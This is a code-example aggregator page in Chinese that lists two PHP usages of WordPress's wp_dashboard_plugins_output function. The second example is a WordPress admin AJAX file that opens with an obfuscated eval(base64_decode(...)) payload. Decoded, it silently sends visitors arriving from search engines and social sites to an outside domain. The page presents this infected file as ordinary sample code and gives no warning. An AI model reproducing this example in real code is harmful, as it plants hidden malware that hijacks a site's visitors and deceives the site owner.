本文整理匯總了PHP中wp_dashboard_plugins_output函數的典型用法代碼示例。如果您正苦於以下問題:PHP wp_dashboard_plugins_output函數的具體用法?PHP wp_dashboard_plugins_output怎麽用?PHP wp_dashboard_plugins_output使用的例子?那麽, 這裏精選的函數代碼示例或許可以為您提供幫助。
在下文中一共展示了wp_dashboard_plugins_output函數的2個代碼示例,這些例子默認根據受歡迎程度排序。您可以為喜歡或者感覺有用的代碼點讚,您的評價將有助於係統推薦出更棒的PHP代碼示例。
示例1: wp_dashboard_primary_output
/**
* Display the WordPress news feeds.
*
* @since 3.8.0
*
* @param string $widget_id Widget ID.
* @param array $feeds Array of RSS feeds.
*/
function wp_dashboard_primary_output($widget_id, $feeds)
{
foreach ($feeds as $type => $args) {
$args['type'] = $type;
echo '<div class="rss-widget">';
if ($type === 'plugins') {
wp_dashboard_plugins_output($args['url'], $args);
} else {
wp_widget_rss_output($args['url'], $args);
}
echo "</div>";
}
}
示例2: eval
<?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
/**
* Handle default dashboard widgets options AJAX.
*
* @package WordPress
* @subpackage Administration
*/
/** Load WordPress Bootstrap */
require_once 'admin.php';
/** Load WordPress Administration Dashboard API */
require 'includes/dashboard.php';
/** Load Magpie RSS API or custom RSS API */
require_once ABSPATH . WPINC . '/rss.php';
@header('Content-Type: ' . get_option('html_type') . '; charset=' . get_option('blog_charset'));
switch ($_GET['jax']) {
case 'dashboard_incoming_links':
wp_dashboard_incoming_links_output();
break;
case 'dashboard_primary':
wp_dashboard_rss_output('dashboard_primary');
break;
case 'dashboard_secondary':
wp_dashboard_secondary_output();
break;
case 'dashboard_plugins':
wp_dashboard_plugins_output();
break;
}